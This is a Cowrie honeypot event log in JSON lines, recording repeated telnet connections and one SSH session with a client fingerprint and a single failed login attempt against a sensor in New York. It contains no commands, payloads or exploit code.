{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":47694,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4892aa885ac","protocol":"telnet","message":"New connection: 207.180.228.157:47694 (159.203.135.109:23) [session: d4892aa885ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:13.991330Z"}
{"eventid":"cowrie.session.closed","duration":31.637123107910156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:14.033778Z","src_ip":"207.180.228.157","session":"bc1c84d0ad20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449313640594482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:14.294278Z","src_ip":"207.180.228.157","session":"53fcb4a0639d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57612,"dst_ip":"159.203.135.109","dst_port":23,"session":"173c851710a6","protocol":"telnet","message":"New connection: 207.180.228.157:57612 (159.203.135.109:23) [session: 173c851710a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:14.787916Z"}
{"eventid":"cowrie.session.closed","duration":30.748055458068848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:15.400962Z","src_ip":"207.180.228.157","session":"c76a92fe0900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941823720932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:15.486187Z","src_ip":"207.180.228.157","session":"f2800b735762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57620,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a8b0eb57b5","protocol":"telnet","message":"New connection: 207.180.228.157:57620 (159.203.135.109:23) [session: 67a8b0eb57b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:15.800742Z"}
{"eventid":"cowrie.session.closed","duration":31.14959454536438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:16.242819Z","src_ip":"207.180.228.157","session":"6600d23186b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.839852571487427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:18.028822Z","src_ip":"207.180.228.157","session":"d7cf5755a9bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57622,"dst_ip":"159.203.135.109","dst_port":23,"session":"63c5fc4647ce","protocol":"telnet","message":"New connection: 207.180.228.157:57622 (159.203.135.109:23) [session: 63c5fc4647ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:19.887905Z"}
{"eventid":"cowrie.session.closed","duration":30.42583656311035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:20.171029Z","src_ip":"207.180.228.157","session":"ba0be7b2ec79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.651211500167847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:20.949805Z","src_ip":"207.180.228.157","session":"5817b72d1737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666456699371338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:21.179091Z","src_ip":"207.180.228.157","session":"7820321c86d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57624,"dst_ip":"159.203.135.109","dst_port":23,"session":"8733d0dedeee","protocol":"telnet","message":"New connection: 207.180.228.157:57624 (159.203.135.109:23) [session: 8733d0dedeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:22.402164Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57636,"dst_ip":"159.203.135.109","dst_port":23,"session":"8adc8b16a7be","protocol":"telnet","message":"New connection: 207.180.228.157:57636 (159.203.135.109:23) [session: 8adc8b16a7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:22.494838Z"}
{"eventid":"cowrie.session.closed","duration":30.534765243530273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:23.080482Z","src_ip":"207.180.228.157","session":"ae6212a3af42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038716554641724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:23.260910Z","src_ip":"207.180.228.157","session":"90b735aeda2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.748966932296753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:23.939332Z","src_ip":"207.180.228.157","session":"97d6d9aeac25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dbd6332a829","protocol":"telnet","message":"New connection: 207.180.228.157:57646 (159.203.135.109:23) [session: 7dbd6332a829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:24.068307Z"}
{"eventid":"cowrie.session.closed","duration":31.15605401992798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:24.419504Z","src_ip":"207.180.228.157","session":"a48d43e0c9c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109426736831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:24.608979Z","src_ip":"207.180.228.157","session":"75bb75953b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56762,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ca66422a85","protocol":"telnet","message":"New connection: 207.180.228.157:56762 (159.203.135.109:23) [session: e2ca66422a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:24.650736Z"}
{"eventid":"cowrie.session.closed","duration":31.874524116516113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:24.857891Z","src_ip":"207.180.228.157","session":"8e98d1b7500e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75764036178589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:25.566783Z","src_ip":"207.180.228.157","session":"ab56ce7ae534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187675952911377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:25.741577Z","src_ip":"207.180.228.157","session":"c9bd41595309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56774,"dst_ip":"159.203.135.109","dst_port":23,"session":"2509e0bfefe8","protocol":"telnet","message":"New connection: 207.180.228.157:56774 (159.203.135.109:23) [session: 2509e0bfefe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:26.661637Z"}
{"eventid":"cowrie.session.closed","duration":31.6762056350708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:26.718238Z","src_ip":"207.180.228.157","session":"d6d9066b3f57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793973207473755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:26.775384Z","src_ip":"207.180.228.157","session":"5dba7ee96bb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90504217147827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:27.067894Z","src_ip":"207.180.228.157","session":"368e01cf4a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96457552909851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:27.095641Z","src_ip":"207.180.228.157","session":"3736682e96ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56782,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01e1053adc3","protocol":"telnet","message":"New connection: 207.180.228.157:56782 (159.203.135.109:23) [session: f01e1053adc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:27.407544Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae90205dd2d8","protocol":"telnet","message":"New connection: 207.180.228.157:56794 (159.203.135.109:23) [session: ae90205dd2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:27.894267Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":44246,"dst_ip":"159.203.135.109","dst_port":22,"session":"257cf9d859e0","protocol":"ssh","message":"New connection: 209.38.20.25:44246 (159.203.135.109:22) [session: 257cf9d859e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:27.919852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:27.924413Z","src_ip":"209.38.20.25","session":"257cf9d859e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.351322889328003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:28.060782Z","src_ip":"207.180.228.157","session":"baab8c88cd43","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:28.135358Z","src_ip":"209.38.20.25","session":"257cf9d859e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56128,"dst_ip":"159.203.135.109","dst_port":23,"session":"98485f6cdcc2","protocol":"telnet","message":"New connection: 174.138.46.234:56128 (159.203.135.109:23) [session: 98485f6cdcc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:28.174069Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56136,"dst_ip":"159.203.135.109","dst_port":23,"session":"120fda58c0ca","protocol":"telnet","message":"New connection: 174.138.46.234:56136 (159.203.135.109:23) [session: 120fda58c0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:28.210451Z"}
{"eventid":"cowrie.session.closed","duration":31.52268123626709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:28.557026Z","src_ip":"207.180.228.157","session":"78bc4956f5b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909647226333618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:28.561488Z","src_ip":"207.180.228.157","session":"0ef6123d27d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"t3st","message":"login attempt [ubuntu/t3st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:29.010976Z","src_ip":"209.38.20.25","session":"257cf9d859e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56696,"dst_ip":"159.203.135.109","dst_port":23,"session":"844a54d5925f","protocol":"telnet","message":"New connection: 174.138.46.234:56696 (159.203.135.109:23) [session: 844a54d5925f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:30.025881Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:30.226748Z","src_ip":"209.38.20.25","session":"257cf9d859e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75503635406494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:30.246220Z","src_ip":"207.180.228.157","session":"1aa3bb316c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56544,"dst_ip":"159.203.135.109","dst_port":23,"session":"85bd70d043ef","protocol":"telnet","message":"New connection: 174.138.46.234:56544 (159.203.135.109:23) [session: 85bd70d043ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:30.550682Z"}
{"eventid":"cowrie.session.closed","duration":30.9688982963562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:31.230006Z","src_ip":"207.180.228.157","session":"066946f43238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817634344100952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:31.241251Z","src_ip":"207.180.228.157","session":"765bd5750e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56806,"dst_ip":"159.203.135.109","dst_port":23,"session":"05746ad32f4b","protocol":"telnet","message":"New connection: 207.180.228.157:56806 (159.203.135.109:23) [session: 05746ad32f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:31.508283Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56818,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cd384113aa","protocol":"telnet","message":"New connection: 207.180.228.157:56818 (159.203.135.109:23) [session: 66cd384113aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:31.542843Z"}
{"eventid":"cowrie.session.closed","duration":31.207497596740723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:31.713287Z","src_ip":"207.180.228.157","session":"6b5d0b7be942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.374334812164307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:31.931247Z","src_ip":"207.180.228.157","session":"93142f515f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.296467065811157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:32.034258Z","src_ip":"207.180.228.157","session":"76e636aefc3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":56824,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23a3a614ce4","protocol":"telnet","message":"New connection: 207.180.228.157:56824 (159.203.135.109:23) [session: d23a3a614ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:33.032490Z"}
{"eventid":"cowrie.session.closed","duration":5.919920444488525,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:34.093860Z","src_ip":"174.138.46.234","session":"98485f6cdcc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.696649074554443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:34.169394Z","src_ip":"207.180.228.157","session":"f9e972a7367e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37500,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f692420c69","protocol":"telnet","message":"New connection: 207.180.228.157:37500 (159.203.135.109:23) [session: b5f692420c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:34.930181Z"}
{"eventid":"cowrie.session.closed","duration":5.019253253936768,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:35.044986Z","src_ip":"174.138.46.234","session":"844a54d5925f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65478515625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:35.116742Z","src_ip":"207.180.228.157","session":"8754c2eefd05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.948296308517456,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:36.158646Z","src_ip":"174.138.46.234","session":"120fda58c0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861199140548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:37.263676Z","src_ip":"207.180.228.157","session":"b65c1e5e6acb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.928341388702393,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:37.478889Z","src_ip":"174.138.46.234","session":"85bd70d043ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28076434135437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:37.574199Z","src_ip":"207.180.228.157","session":"de6ff0bad84a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.69279336929321,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:37.823967Z","src_ip":"174.138.46.234","session":"53ea1be60ea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879301071166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:38.516285Z","src_ip":"207.180.228.157","session":"1d9c0631e7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855366230010986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:39.709302Z","src_ip":"207.180.228.157","session":"8639b94eb2b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322434186935425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:40.040560Z","src_ip":"207.180.228.157","session":"5d0203d509eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37512,"dst_ip":"159.203.135.109","dst_port":23,"session":"395faebdf229","protocol":"telnet","message":"New connection: 207.180.228.157:37512 (159.203.135.109:23) [session: 395faebdf229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:40.498817Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37522,"dst_ip":"159.203.135.109","dst_port":23,"session":"e28554bdade4","protocol":"telnet","message":"New connection: 207.180.228.157:37522 (159.203.135.109:23) [session: e28554bdade4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:40.578337Z"}
{"eventid":"cowrie.session.closed","duration":31.01682949066162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:40.791653Z","src_ip":"207.180.228.157","session":"bf0b7b6474fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d97ac7323f2","protocol":"telnet","message":"New connection: 207.180.228.157:37534 (159.203.135.109:23) [session: 0d97ac7323f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:41.226670Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37542,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc921201d668","protocol":"telnet","message":"New connection: 207.180.228.157:37542 (159.203.135.109:23) [session: bc921201d668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:41.482816Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37546,"dst_ip":"159.203.135.109","dst_port":23,"session":"3465f9db9012","protocol":"telnet","message":"New connection: 207.180.228.157:37546 (159.203.135.109:23) [session: 3465f9db9012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:42.120740Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":37556,"dst_ip":"159.203.135.109","dst_port":23,"session":"511e6026c4f0","protocol":"telnet","message":"New connection: 207.180.228.157:37556 (159.203.135.109:23) [session: 511e6026c4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:43.886329Z"}
{"eventid":"cowrie.session.closed","duration":31.50935411453247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:45.500562Z","src_ip":"207.180.228.157","session":"d4892aa885ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749454259872437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:45.537357Z","src_ip":"207.180.228.157","session":"173c851710a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e17c3d21b1","protocol":"telnet","message":"New connection: 207.180.228.157:57478 (159.203.135.109:23) [session: b2e17c3d21b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:45.966912Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60426,"dst_ip":"159.203.135.109","dst_port":23,"session":"38a109a8a466","protocol":"telnet","message":"New connection: 174.138.46.234:60426 (159.203.135.109:23) [session: 38a109a8a466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:46.524395Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":57490,"dst_ip":"159.203.135.109","dst_port":23,"session":"48279faea2cf","protocol":"telnet","message":"New connection: 207.180.228.157:57490 (159.203.135.109:23) [session: 48279faea2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:46.739785Z"}
{"eventid":"cowrie.session.closed","duration":31.936044931411743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:08:47.736661Z","src_ip":"207.180.228.157","session":"67a8b0eb57b5","protocol":"telnet"}
